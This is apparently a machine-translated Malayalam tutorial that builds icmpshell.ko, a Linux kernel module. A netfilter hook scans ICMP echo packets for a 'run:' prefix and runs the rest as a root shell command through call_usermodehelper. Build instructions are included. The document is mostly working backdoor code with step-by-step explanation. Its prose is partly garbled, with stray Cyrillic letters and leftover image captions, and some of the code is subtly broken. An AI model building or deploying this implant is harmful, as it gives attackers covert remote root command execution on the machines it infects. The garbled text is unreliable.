  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == '')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = '';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == '')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

เดŽเดจเตเดคเดพเดฃเต เดธเด‚เดญเดตเดฟเด•เตเด•เตเดจเตเดจเดคเต:

  1. IP, ICMP เดคเดฒเด•เตเด•เต†เดŸเตเดŸเตเด•เตพ เด•เตˆเด•เดพเดฐเตเดฏเด‚ เดšเต†เดฏเตเดฏเดพเตป เดŽเดจเดฟเด•เตเด•เต เด…เดงเดฟเด• เดนเต†เดกเตผ เดซเดฏเดฒเตเด•เตพ เด‰เตพเดชเตเดชเต†เดŸเตเดคเตเดคเต‡เดฃเตเดŸเดฟ เดตเดจเตเดจเต.
  2. เดžเดพเตป เดชเดฐเดฎเดพเดตเดงเดฟ เดตเดฐเดฟ เดฆเตˆเตผเด˜เตเดฏเด‚ เดธเดœเตเดœเดฎเดพเด•เตเด•เดฟ: #define MAX_CMD_LEN 1976. เดŽเดจเตเดคเตเด•เตŠเดฃเตเดŸเดพเดฃเต เด‡เดคเต เด•เตƒเดคเตเดฏเดฎเดพเดฏเดฟ? เด•เดพเดฐเดฃเด‚ เด•เด‚เดชเตˆเดฒเตผ เด…เดคเดฟเดจเต†เด•เตเด•เตเดฑเดฟเดšเตเดšเต เดชเดฐเดพเดคเดฟเดชเตเดชเต†เดŸเตเดจเตเดจเต! เดŽเดจเดฟเด•เตเด•เต เดธเตเดฑเตเดฑเดพเด•เตเด•เตเด‚ เด•เต‚เดฎเตเดชเดพเดฐเดตเตเด‚ เดฎเดจเดธเดฟเดฒเดพเด•เตเด•เดฃเดฎเต†เดจเตเดจเต เด…เดตเตผ เด‡เดคเดฟเดจเด•เด‚ เดŽเดจเตเดจเต‹เดŸเต เดจเดฟเตผเดฆเตเดฆเต‡เดถเดฟเดšเตเดšเดฟเดŸเตเดŸเตเดฃเตเดŸเต, เดŽเดจเตเดจเต†เด™เตเด•เดฟเดฒเตเด‚ เดžเดพเตป เดคเต€เตผเดšเตเดšเดฏเดพเดฏเตเด‚ เด‡เดคเต เดšเต†เดฏเตเดฏเตเด‚, เด’เดฐเตเดชเด•เตเดทเต‡ เด•เต‹เดกเต เดถเดฐเดฟเดฏเดพเด•เตเด•เดพเด‚. เด•เดฎเดพเตปเดกเต เด…เดŸเด™เตเด™เดฟเดฏเดฟเดฐเดฟเด•เตเด•เตเดจเตเดจ เดฒเตˆเตป เดžเดพเตป เด‰เดŸเตป เดธเดœเตเดœเดฎเดพเด•เตเด•เดฟ: char cmd_string[MAX_CMD_LEN];. เด‡เดคเต เดŽเดฒเตเดฒเดพ เดซเด‚เด—เตเดทเดจเตเด•เดณเดฟเดฒเตเด‚ เดฆเตƒเดถเตเดฏเดฎเดพเดฏเดฟเดฐเดฟเด•เตเด•เดฃเด‚; เด–เดฃเตเดกเดฟเด• 9 เตฝ เดžเดพเตป เด‡เดคเดฟเดจเต†เด•เตเด•เตเดฑเดฟเดšเตเดšเต เด•เต‚เดŸเตเดคเตฝ เดตเดฟเดถเดฆเดฎเดพเดฏเดฟ เดธเด‚เดธเดพเดฐเดฟเด•เตเด•เตเด‚.
  3. เด‡เดชเตเดชเต‹เตพ เดจเดฎเตเดฎเตพ เด†เดฐเด‚เดญเดฟเด•เตเด•เต‡เดฃเตเดŸเดคเตเดฃเตเดŸเต (struct work_struct my_work;) เด˜เดŸเดจเดฏเตเด‚ เดฎเดฑเตเดฑเตŠเดฐเต เดซเด‚เด—เตเดทเดจเตเดฎเดพเดฏเดฟ เดฌเดจเตเดงเดฟเดชเตเดชเดฟเด•เตเด•เตเด• (DECLARE_WORK(my_work, work_handler);). เด’เดฎเตเดชเดคเดพเด‚ เด–เดฃเตเดกเดฟเด•เดฏเดฟเตฝ เด‡เดคเต เดŽเดจเตเดคเตเด•เตŠเดฃเตเดŸเต เด†เดตเดถเตเดฏเดฎเดพเดฃเต เดŽเดจเตเดจเดคเดฟเดจเต†เด•เตเด•เตเดฑเดฟเดšเตเดšเตเด‚ เดžเดพเตป เดธเด‚เดธเดพเดฐเดฟเด•เตเด•เตเด‚.
  4. เด‡เดชเตเดชเต‹เตพ เดžเดพเตป เด’เดฐเต เดซเด‚เด—เตเดทเตป เดชเตเดฐเด–เตเดฏเดพเดชเดฟเด•เตเด•เตเดจเตเดจเต, เด…เดคเต เด’เดฐเต เดนเตเด•เตเด•เต เด†เดฏเดฟเดฐเดฟเด•เตเด•เตเด‚. เดคเดฐเดตเตเด‚ เดธเตเดตเต€เด•เดพเดฐเตเดฏเดฎเดพเดฏ เด†เตผเด—เตเดฏเตเดฎเต†เดจเตเดฑเตเด•เดณเตเด‚ เดจเต†เดฑเตเดฑเตเดซเดฟเตฝเดฑเตเดฑเตผ เดจเดฟเตผเดฆเตเดฆเต‡เดถเดฟเด•เตเด•เตเดจเตเดจเต, เดžเด™เตเด™เตพเด•เตเด•เต เดคเดพเตฝเดชเตเดชเดฐเตเดฏเดฎเตเดณเตเดณเดคเต เดฎเดพเดคเตเดฐเดฎเดพเดฃเต skb. เด‡เดคเตŠเดฐเต เดธเต‹เด•เตเด•เดฑเตเดฑเต เดฌเดซเตผ เด†เดฃเต, เด’เดฐเต เดชเดพเด•เตเด•เดฑเตเดฑเดฟเดจเต†เด•เตเด•เตเดฑเดฟเดšเตเดšเต เดฒเดญเตเดฏเดฎเดพเดฏ เดŽเดฒเตเดฒเดพ เดตเดฟเดตเดฐเด™เตเด™เดณเตเด‚ เด…เดŸเด™เตเด™เตเดจเตเดจ เด…เดŸเดฟเดธเตเดฅเดพเดจ เดกเดพเดฑเตเดฑเดพ เด˜เดŸเดจ.
  5. เดซเด‚เด—เตโ€Œเดทเตป เดชเตเดฐเดตเตผเดคเตเดคเดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเต, เดจเดฟเด™เตเด™เตพเด•เตเด•เต เดฐเดฃเตเดŸเต เด‡เดฑเตเดฑเดฑเต‡เดฑเตเดฑเดฑเตเด•เตพ เด‰เตพเดชเตเดชเต†เดŸเต† เดฐเดฃเตเดŸเต เด˜เดŸเดจเด•เดณเตเด‚ เดจเดฟเดฐเดตเดงเดฟ เดตเต‡เดฐเดฟเดฏเดฌเดฟเดณเตเด•เดณเตเด‚ เด†เดตเดถเตเดฏเดฎเดพเดฃเต.
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. เดจเดฎเตเด•เตเด•เต เดฏเตเด•เตเดคเดฟเดฏเดฟเตฝ เดจเดฟเดจเตเดจเต เด†เดฐเด‚เดญเดฟเด•เตเด•เดพเด‚. เดฎเตŠเดกเตเดฏเต‚เตพ เดชเตเดฐเดตเตผเดคเตเดคเดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเต, ICMP เดŽเด•เตเด•เต‹ เด’เดดเดฟเด•เต†เดฏเตเดณเตเดณ เดชเดพเด•เตเด•เดฑเตเดฑเตเด•เดณเตŠเดจเตเดจเตเด‚ เด†เดตเดถเตเดฏเดฎเดฟเดฒเตเดฒ, เด…เดคเดฟเดจเดพเตฝ เดžเด™เตเด™เตพ เดฌเดฟเตฝเดฑเตเดฑเต-เด‡เตป เดซเด‚เด—เตโ€Œเดทเดจเตเด•เตพ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต เดฌเดซเตผ เดชเดพเดดเตโ€Œเดธเต เดšเต†เดฏเตเดฏเตเด•เดฏเตเด‚ ICMP เด…เดฒเตเดฒเดพเดคเตเดคเดคเตเด‚ เดŽเด•เตเด•เต‹ เด…เดฒเตเดฒเดพเดคเตเดคเดคเตเดฎเดพเดฏ เดŽเดฒเตเดฒเดพ เดชเดพเด•เตเด•เดฑเตเดฑเตเด•เดณเตเด‚ เดตเดฒเดฟเดšเตเดšเต†เดฑเดฟเดฏเตเด•เดฏเตเด‚ เดšเต†เดฏเตเดฏเตเดจเตเดจเต. เดฎเดŸเด™เตเด™เตเด• NF_ACCEPT เดชเดพเด•เตเด•เต‡เดœเดฟเดจเตเดฑเต† เดธเตเดตเต€เด•เดพเดฐเตเดฏเดค เดŽเดจเตเดจเดพเดฃเต เด…เตผเดคเตเดฅเดฎเดพเด•เตเด•เตเดจเตเดจเดคเต, เดŽเดจเตเดจเดพเตฝ เดคเดฟเดฐเดฟเด•เต† เดจเตฝเด•เตเดจเตเดจเดคเดฟเดฒเต‚เดŸเต† เดจเดฟเด™เตเด™เตพเด•เตเด•เต เดชเดพเด•เตเด•เต‡เดœเตเด•เตพ เด‰เดชเต‡เด•เตเดทเดฟเด•เตเด•เดพเดจเตเด‚ เด•เดดเดฟเดฏเตเด‚ NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    เดเดชเดฟ เดคเดฒเด•เตเด•เต†เดŸเตเดŸเตเด•เตพ เดชเดฐเดฟเดถเต‹เดงเดฟเด•เตเด•เดพเดคเต† เดŽเดจเตเดคเต เดธเด‚เดญเดตเดฟเด•เตเด•เตเดฎเต†เดจเตเดจเต เดžเดพเตป เดชเดฐเต€เด•เตเดทเดฟเดšเตเดšเดฟเดŸเตเดŸเดฟเดฒเตเดฒ. เด…เดงเดฟเด• เดชเดฐเดฟเดถเต‹เดงเดจเด•เดณเดฟเดฒเตเดฒเดพเดคเต† เดญเดฏเด™เตเด•เดฐเดฎเดพเดฏ เดŽเดจเตเดคเต†เด™เตเด•เดฟเดฒเตเด‚ เดธเด‚เดญเดตเดฟเด•เตเด•เตเดฎเต†เดจเตเดจเต เดธเดฟเดฏเต†เด•เตเด•เตเดฑเดฟเดšเตเดšเตเดณเตเดณ เดŽเดจเตเดฑเต† เดเดฑเตเดฑเดตเตเด‚ เด•เตเดฑเดžเตเดž เด…เดฑเดฟเดตเต เดŽเดจเตเดจเต‹เดŸเต เดชเดฑเดฏเตเดจเตเดจเต. เดจเดฟเด™เตเด™เตพ เด‡เดคเดฟเตฝ เดจเดฟเดจเตเดจเต เดŽเดจเตเดจเต† เดชเดฟเดจเตเดคเดฟเดฐเดฟเดชเตเดชเดฟเดšเตเดšเดพเตฝ เดžเดพเตป เดธเดจเตเดคเต‹เดทเดฟเด•เตเด•เตเด‚!

  7. เด‡เดชเตเดชเต‹เตพ เดชเดพเด•เตเด•เต‡เดœเต เดจเดฟเด™เตเด™เตพเด•เตเด•เต เด†เดตเดถเตเดฏเดฎเตเดณเตเดณ เดคเดฐเดคเตเดคเดฟเดฒเตเดณเตเดณเดคเดพเดฃเต, เดจเดฟเด™เตเด™เตพเด•เตเด•เต เดกเดพเดฑเตเดฑ เดŽเด•เตโ€Œเดธเตโ€ŒเดŸเตเดฐเดพเด•เตโ€Œเดฑเตเดฑเตเดšเต†เดฏเตเดฏเดพเดจเดพเด•เตเด‚. เด’เดฐเต เดฌเดฟเตฝเดฑเตเดฑเต-เด‡เตป เดซเด‚เด—เตโ€Œเดทเตป เด‡เดฒเตเดฒเดพเดคเต†, เดจเดฟเด™เตเด™เตพ เด†เดฆเตเดฏเด‚ เดชเต‡เดฒเต‹เดกเดฟเดจเตเดฑเต† เดคเตเดŸเด•เตเด•เดคเตเดคเดฟเดฒเต‡เด•เตเด•เต เด’เดฐเต เดชเต‹เดฏเดฟเดจเตเดฑเตผ เดจเต‡เดŸเต‡เดฃเตเดŸเดคเตเดฃเตเดŸเต. เด‡เดคเต เด’เดฐเดฟเดŸเดคเตเดคเต เดšเต†เดฏเตเดคเต, เดจเดฟเด™เตเด™เตพ เดเดธเดฟเดŽเด‚เดชเดฟ เดคเดฒเด•เตเด•เต†เดŸเตเดŸเดฟเดจเตเดฑเต† เดคเตเดŸเด•เตเด•เดคเตเดคเดฟเดฒเต‡เด•เตเด•เต เดชเต‹เดฏเดฟเดจเตเดฑเตผ เดŽเดŸเตเดคเตเดคเต เดˆ เดนเต†เดกเดฑเดฟเดจเตเดฑเต† เดตเดฒเตเดชเตเดชเดคเตเดคเดฟเดฒเต‡เด•เตเด•เต เดจเต€เด•เตเด•เต‡เดฃเตเดŸเดคเตเดฃเตเดŸเต. เดŽเดฒเตเดฒเดพเด‚ เด˜เดŸเดจ เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เตเดจเตเดจเต icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    เดนเต†เดกเดฑเดฟเดจเตเดฑเต† เด…เดตเดธเดพเดจเด‚ เดชเต‡เดฒเต‹เดกเดฟเดจเตเดฑเต† เด…เดตเดธเดพเดจเดตเตเดฎเดพเดฏเดฟ เดชเตŠเดฐเตเดคเตเดคเดชเตเดชเต†เดŸเดฃเด‚ skbเด…เดคเดฟเดจเดพเตฝ, เด…เดจเตเดฌเดจเตเดง เด˜เดŸเดจเดฏเดฟเตฝ เดจเดฟเดจเตเดจเต เด†เดฃเดต เดฎเดพเตผเด—เด™เตเด™เตพ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต เดžเด™เตเด™เตพ เด‡เดคเต เดจเต‡เดŸเตเดจเตเดจเต: tail = skb_tail_pointer(skb);.

    เดเดธเดฟเดŽเด‚เดชเดฟเด•เตเด•เต เดฎเตเด•เดณเดฟเดฒเตเดณเตเดณ เดจเตเดฏเต‚เด•เตเดฒเดฟเดฏเตผ เดทเต†เตฝ

    เดšเดฟเดคเตเดฐเด‚ เดฎเต‹เดทเตเดŸเดฟเด•เตเด•เดชเตเดชเต†เดŸเตเดŸเต เด‡เดตเดฟเดŸเต† เดจเดฟเดจเตเดจเต, เดธเต‹เด•เตเด•เดฑเตเดฑเต เดฌเดซเดฑเดฟเดจเต†เด•เตเด•เตเดฑเดฟเดšเตเดšเต เดจเดฟเด™เตเด™เตพเด•เตเด•เต เด•เต‚เดŸเตเดคเตฝ เดตเดพเดฏเดฟเด•เตเด•เดพเด‚.

  8. เดคเตเดŸเด•เตเด•เดคเตเดคเดฟเดฒเต‡เด•เตเด•เตเด‚ เด…เดตเดธเดพเดจเดคเตเดคเดฟเดฒเต‡เด•เตเด•เตเด‚ เดจเดฟเด™เตเด™เตพเด•เตเด•เต เดชเต‹เดฏเดฟเดจเตเดฑเดฑเตเด•เตพ เดฒเดญเดฟเดšเตเดšเตเด•เดดเดฟเดžเตเดžเดพเตฝ, เดจเดฟเด™เตเด™เตพเด•เตเด•เต เดกเดพเดฑเตเดฑ เด’เดฐเต เดธเตเดŸเตเดฐเดฟเด‚เด—เดฟเดฒเต‡เด•เตเด•เต เดชเด•เตผเดคเตเดคเดพเดจเดพเด•เตเด‚ cmd_string, เด’เดฐเต เดชเตเดฐเดฟเดซเดฟเด•เตโ€Œเดธเดฟเดจเตเดฑเต† เดธเดพเดจเตเดจเดฟเดงเตเดฏเดคเตเดคเดฟเดจเดพเดฏเดฟ เด‡เดคเต เดชเดฐเดฟเดถเต‹เดงเดฟเด•เตเด•เตเด• run: เด•เต‚เดŸเดพเดคเต†, เด’เดจเตเดจเตเด•เดฟเตฝ เดชเดพเด•เตเด•เต‡เดœเต เดจเดทเตโ€ŒเดŸเดชเตเดชเต†เดŸเตเดŸเดพเตฝ เด…เดคเต เด‰เดชเต‡เด•เตเดทเดฟเด•เตเด•เตเด•, เด…เดฒเตเดฒเต†เด™เตเด•เดฟเตฝ เดˆ เดชเตเดฐเดฟเดซเดฟเด•เตโ€Œเดธเต เดจเต€เด•เตเด•เด‚ เดšเต†เดฏเตโ€Œเดคเต เดตเต€เดฃเตเดŸเตเด‚ เดตเดฐเดฟ เดตเต€เดฃเตเดŸเตเด‚ เดŽเดดเตเดคเตเด•.
  9. เด…เดคเตเดฐเดฏเต‡เดฏเตเดณเตเดณเต‚, เด‡เดชเตเดชเต‹เตพ เดจเดฟเด™เตเด™เตพเด•เตเด•เต เดฎเดฑเตเดฑเตŠเดฐเต เดนเดพเตปเดกเตเดฒเดฑเต† เดตเดฟเดณเดฟเด•เตเด•เดพเด‚: schedule_work(&my_work);. เด…เดคเตเดคเดฐเดฎเตŠเดฐเต เด•เต‹เดณเดฟเดฒเต‡เด•เตเด•เต เด’เดฐเต เดชเดพเดฐเดพเดฎเต€เดฑเตเดฑเตผ เด•เตˆเดฎเดพเดฑเดพเตป เด•เดดเดฟเดฏเดพเดคเตเดคเดคเดฟเดจเดพเตฝ, เด•เดฎเดพเตปเดกเตเดณเตเดณ เดฒเตˆเตป เด†เด—เต‹เดณเดฎเดพเดฏเดฟเดฐเดฟเด•เตเด•เดฃเด‚. schedule_work() เดชเดพเดธเดพเดฏ เด˜เดŸเดจเดฏเตเดฎเดพเดฏเดฟ เดฌเดจเตเดงเดชเตเดชเต†เดŸเตเดŸ เดซเด‚เด—เตโ€Œเดทเตป เดŸเดพเดธเตโ€Œเด•เต เดทเต†เดกเตเดฏเต‚เดณเดฑเดฟเดจเตเดฑเต† เดชเตŠเดคเตเดตเดพเดฏ เด•เตเดฏเต‚เดตเดฟเตฝ เดธเตเดฅเดพเดชเดฟเด•เตเด•เตเด•เดฏเตเด‚ เดชเต‚เตผเดคเตเดคเดฟเดฏเดพเด•เตเด•เตเด•เดฏเตเด‚ เดšเต†เดฏเตเดฏเตเด‚, เด•เดฎเดพเตปเดกเต เดชเต‚เตผเดคเตเดคเดฟเดฏเดพเด•เตเดจเตเดจเดคเตเดตเดฐเต† เด•เดพเดคเตเดคเดฟเดฐเดฟเด•เตเด•เดพเดคเดฟเดฐเดฟเด•เตเด•เดพเตป เดจเดฟเด™เตเด™เดณเต† เด…เดจเตเดตเดฆเดฟเด•เตเด•เตเดจเตเดจเต. เดนเตเด•เตเด•เต เดตเดณเดฐเต† เดตเต‡เด—เดคเตเดคเดฟเดฒเดพเดฏเดฟเดฐเดฟเด•เตเด•เดฃเด‚ เดŽเดจเตเดจเดคเดฟเดจเดพเตฝ เด‡เดคเต เด†เดตเดถเตเดฏเดฎเดพเดฃเต. เด…เดฒเตเดฒเต†เด™เตเด•เดฟเตฝ, เด’เดจเตเดจเตเด‚ เด†เดฐเด‚เดญเดฟเด•เตเด•เดฟเดฒเตเดฒ เด…เดฒเตเดฒเต†เด™เตเด•เดฟเตฝ เดจเดฟเด™เตเด™เตพเด•เตเด•เต เด’เดฐเต เด•เต‡เตผเดฃเตฝ เดชเดพเดจเดฟเด•เต เดฒเดญเดฟเด•เตเด•เตเด‚ เดŽเดจเตเดจเดคเดพเดฃเต เดจเดฟเด™เตเด™เดณเตเดŸเต† เดคเดฟเดฐเดžเตเดžเต†เดŸเตเดชเตเดชเต. เด•เดพเดฒเดคเดพเดฎเดธเด‚ เดฎเดฐเดฃเด‚ เดชเต‹เดฒเต†เดฏเดพเดฃเต!
  10. เด…เดคเตเดฐเดฏเต‡เดฏเตเดณเตเดณเต‚, เด…เดจเตเดฌเดจเตเดง เดฑเดฟเดŸเตเดŸเต‡เตบ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต เดจเดฟเด™เตเด™เตพเด•เตเด•เต เดชเดพเด•เตเด•เต‡เดœเต เดธเตเดตเต€เด•เดฐเดฟเด•เตเด•เดพเด‚.

เด‰เดชเดฏเต‹เด•เตเดคเตƒ เดธเตเดฅเดฒเดคเตเดคเต เด’เดฐเต เดชเตเดฐเต‹เด—เตเดฐเดพเดฎเดฟเดฒเต‡เด•เตเด•เต เดตเดฟเดณเดฟเด•เตเด•เตเดจเตเดจเต

เดˆ เดชเตเดฐเดตเตผเดคเตเดคเดจเด‚ เดเดฑเตเดฑเดตเตเด‚ เดฎเดจเดธเตเดธเดฟเดฒเดพเด•เตเด•เดพเดตเตเดจเตเดจเดคเต‡เดฏเตเดณเตเดณเต‚. เด…เดคเดฟเดจเตเดฑเต† เดชเต‡เดฐเต เดจเตฝเด•เดฟ DECLARE_WORK(), เดคเดฐเดตเตเด‚ เดธเตเดตเต€เด•เดพเดฐเตเดฏเดฎเดพเดฏ เดตเดพเดฆเด™เตเด™เดณเตเด‚ เดฐเดธเด•เดฐเดฎเดฒเตเดฒ. เดžเด™เตเด™เตพ เด•เดฎเดพเตปเดกเต เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต เดฒเตˆเตป เดŽเดŸเตเดคเตเดคเต เด…เดคเต เดชเต‚เตผเดฃเตเดฃเดฎเดพเดฏเตเด‚ เดทเต†เดฒเตเดฒเดฟเดฒเต‡เด•เตเด•เต เด•เดŸเดคเตเดคเดฟเดตเดฟเดŸเตเดจเตเดจเต. เดชเดพเดดเตโ€Œเดธเดฟเด‚เด—เต, เดฌเตˆเดจเดฑเดฟเด•เตพเด•เตเด•เดพเดฏเดฟ เดคเดฟเดฐเดฏเดฒเตเด‚ เดฎเดฑเตเดฑเต†เดฒเตเดฒเดพ เด•เดพเดฐเตเดฏเด™เตเด™เดณเตเด‚ เด…เดตเตป เด•เตˆเด•เดพเดฐเตเดฏเด‚ เดšเต†เดฏเตเดฏเดŸเตเดŸเต†.

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. เดธเตเดŸเตเดฐเดฟเด‚เด—เตเด•เดณเตเดŸเต† เด’เดฐเต เดจเดฟเดฐเดฏเดฟเดฒเต‡เด•เตเด•เต เด†เตผเด—เตเดฏเตเดฎเต†เดจเตเดฑเตเด•เตพ เดธเดœเตเดœเดฎเดพเด•เตเด•เตเด• argv[]. เดชเตเดฐเต‹เด—เตเดฐเดพเดฎเตเด•เตพ เดฏเดฅเดพเตผเดคเตเดฅเดคเตเดคเดฟเตฝ เดˆ เดฐเต€เดคเดฟเดฏเดฟเดฒเดพเดฃเต เดจเดŸเดชเตเดชเดฟเดฒเดพเด•เตเด•เตเดจเตเดจเดคเต†เดจเตเดจเต เดŽเดฒเตเดฒเดพเดตเตผเด•เตเด•เตเด‚ เด…เดฑเดฟเดฏเดพเดฎเต†เดจเตเดจเต เดžเดพเตป เด…เดจเตเดฎเดพเดจเดฟเด•เตเด•เตเดจเตเดจเต, เด…เดฒเตเดฒเดพเดคเต† เดธเตเดชเต‡เดธเตเด•เดณเตเดณเตเดณ เดคเตเดŸเตผเดšเตเดšเดฏเดพเดฏ เดตเดฐเดฟเดฏเดฒเตเดฒ.
  2. เดชเดฐเดฟเดธเตเดฅเดฟเดคเดฟ เดตเต‡เดฐเดฟเดฏเดฌเดฟเดณเตเด•เตพ เดธเดœเตเดœเดฎเดพเด•เตเด•เตเด•. เด…เดตเดฏเต†เดฒเตเดฒเดพเด‚ เด‡เดคเดฟเดจเด•เด‚ เดธเด‚เดฏเต‹เดœเดฟเดชเตเดชเดฟเดšเตเดšเดฟเดŸเตเดŸเตเดฃเตเดŸเต†เดจเตเดจ เดชเตเดฐเดคเต€เด•เตเดทเดฏเดฟเตฝ, เดเดฑเตเดฑเดตเตเด‚ เด•เตเดฑเดžเตเดž เดชเดพเดคเด•เดณเตเดณเตเดณ PATH เดฎเดพเดคเตเดฐเด‚ เดžเดพเตป เดšเต‡เตผเดคเตเดคเต /bin ั /usr/bin ะธ /sbin ั /usr/sbin. เดฎเดฑเตเดฑเต เดชเดพเดคเด•เตพ เดชเตเดฐเดพเดฏเต‹เด—เดฟเด•เดฎเดพเดฏเดฟ เดตเดณเดฐเต† เด…เดชเต‚เตผเดตเดฎเดพเดฏเดฟ เดฎเดพเดคเตเดฐเดฎเต‡ เดชเดฐเดฟเด—เดฃเดฟเด•เตเด•เต‚.
  3. เดšเต†เดฏเตเดคเต, เดจเดฎเตเด•เตเด•เต เดšเต†เดฏเตเดฏเดพเด‚! เด•เต‡เตผเดฃเตฝ เดชเตเดฐเดตเตผเดคเตเดคเดจเด‚ call_usermodehelper() เดชเตเดฐเดตเต‡เดถเดจเด‚ เดธเตเดตเต€เด•เดฐเดฟเด•เตเด•เตเดจเตเดจเต. เดฌเตˆเดจเดฑเดฟเดฏเดฟเดฒเต‡เด•เตเด•เตเดณเตเดณ เดชเดพเดค, เด†เตผเด—เตเดฏเตเดฎเต†เดจเตเดฑเตเด•เดณเตเดŸเต† เดจเดฟเดฐ, เดชเดฐเดฟเดธเตเดฅเดฟเดคเดฟ เดตเต‡เดฐเดฟเดฏเดฌเดฟเดณเตเด•เดณเตเดŸเต† เดจเดฟเดฐ. เดŽเด•เตเดธเดฟเด•เตเดฏเต‚เดŸเตเดŸเดฌเดฟเตพ เดซเดฏเดฒเดฟเดฒเต‡เด•เตเด•เตเดณเตเดณ เดชเดพเดคเตเดคเต เด’เดฐเต เดชเตเดฐเดคเตเดฏเต‡เด• เด†เตผเด—เตเดฏเตเดฎเต†เดจเตเดฑเดพเดฏเดฟ เด•เดŸเดจเตเดจเตเดชเต‹เด•เตเดจเตเดจเดคเดฟเดจเตเดฑเต† เด…เตผเดคเตเดฅเด‚ เดŽเดฒเตเดฒเดพเดตเตผเด•เตเด•เตเด‚ เดฎเดจเดธเตเดธเดฟเดฒเดพเด•เตเดฎเต†เดจเตเดจเต เด‡เดตเดฟเดŸเต† เดžเดพเตป เด•เดฐเตเดคเตเดจเตเดจเต, เดชเด•เตเดทเต‡ เดจเดฟเด™เตเด™เตพเด•เตเด•เต เดšเต‹เดฆเดฟเด•เตเด•เดพเด‚. เด…เดตเดธเดพเดจ เด†เตผเด—เตเดฏเตเดฎเต†เดจเตเดฑเต เดชเตเดฐเด•เตเดฐเดฟเดฏ เดชเต‚เตผเดคเตเดคเดฟเดฏเดพเด•เดพเตป เด•เดพเดคเตเดคเดฟเดฐเดฟเด•เตเด•เดฃเดฎเต‹ เดŽเดจเตเดจเต เดตเตเดฏเด•เตเดคเดฎเดพเด•เตเด•เตเดจเตเดจเต (UMH_WAIT_PROC), เดชเตเดฐเด•เตเดฐเดฟเดฏ เด†เดฐเด‚เดญเด‚ (UMH_WAIT_EXEC) เด…เดฒเตเดฒเต†เด™เตเด•เดฟเตฝ เด’เดŸเตเดŸเตเด‚ เด•เดพเดคเตเดคเดฟเดฐเดฟเด•เตเด•เดฐเตเดคเต (UMH_NO_WAIT). เด•เตเดฑเดšเตเดšเต เด•เต‚เดŸเดฟ เด‰เดฃเตเดŸเต‹ UMH_KILLABLE, เดžเดพเตป เด…เดคเตŠเดจเตเดจเตเด‚ เดจเต‹เด•เตเด•เดฟเดฏเดฟเดฒเตเดฒ.

เดจเดฟเดฏเดฎเดธเดญ

เด•เต‡เตผเดฃเตฝ เดฎเตŠเดกเตเดฏเต‚เดณเตเด•เดณเตเดŸเต† เด…เดธเด‚เดฌเตเดฒเดฟ เด•เต†เตผเดฃเตฝ เดฎเต‡เด•เตเด•เต-เดซเตเดฐเต†เดฏเดฟเด‚ เดตเตผเด•เตเด•เดฟเดฒเต‚เดŸเต†เดฏเดพเดฃเต เดจเดŸเดคเตเดคเตเดจเตเดจเดคเต. เดตเดฟเดณเดฟเดšเตเดšเต make เด•เต‡เตผเดฃเตฝ เดชเดคเดฟเดชเตเดชเตเดฎเดพเดฏเดฟ เดฌเดจเตเดงเดฟเดชเตเดชเดฟเดšเตเดšเดฟเดฐเดฟเด•เตเด•เตเดจเตเดจ เด’เดฐเต เดชเตเดฐเดคเตเดฏเต‡เด• เดกเดฏเดฑเด•เตเดŸเดฑเดฟเดฏเตเดŸเต† เด‰เดณเตเดณเดฟเตฝ (เด‡เดตเดฟเดŸเต† เดจเดฟเตผเดตเดšเดฟเดšเตเดšเดฟเดฐเดฟเด•เตเด•เตเดจเตเดจเดคเต: KERNELDIR:=/lib/modules/$(shell uname -r)/build), เด•เต‚เดŸเดพเดคเต† เดฎเตŠเดกเตเดฏเต‚เดณเดฟเดจเตเดฑเต† เดธเตเดฅเดพเดจเด‚ เดตเต‡เดฐเดฟเดฏเดฌเดฟเดณเดฟเดฒเต‡เด•เตเด•เต เด•เตˆเดฎเดพเดฑเตเดจเตเดจเต M เดตเดพเดฆเด™เตเด™เดณเดฟเตฝ. icmpshell.ko เด‰เด‚ เด•เตเดฒเต€เตป เดŸเดพเตผเด—เต†เดฑเตเดฑเตเด•เดณเตเด‚ เดˆ เดšเดŸเตเดŸเด•เตเด•เต‚เดŸเต เดชเต‚เตผเดฃเตเดฃเดฎเดพเดฏเตเด‚ เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เตเดจเตเดจเต. IN obj-m เด’เดฐเต เดฎเตŠเดกเตเดฏเต‚เดณเดพเดฏเดฟ เดชเดฐเดฟเดตเตผเดคเตเดคเดจเด‚ เดšเต†เดฏเตเดฏเดชเตเดชเต†เดŸเตเดจเตเดจ เด’เดฌเตโ€Œเดœเด•เตเดฑเตเดฑเต เดซเดฏเดฒเดฟเดจเต† เดธเต‚เดšเดฟเดชเตเดชเดฟเด•เตเด•เตเดจเตเดจเต. 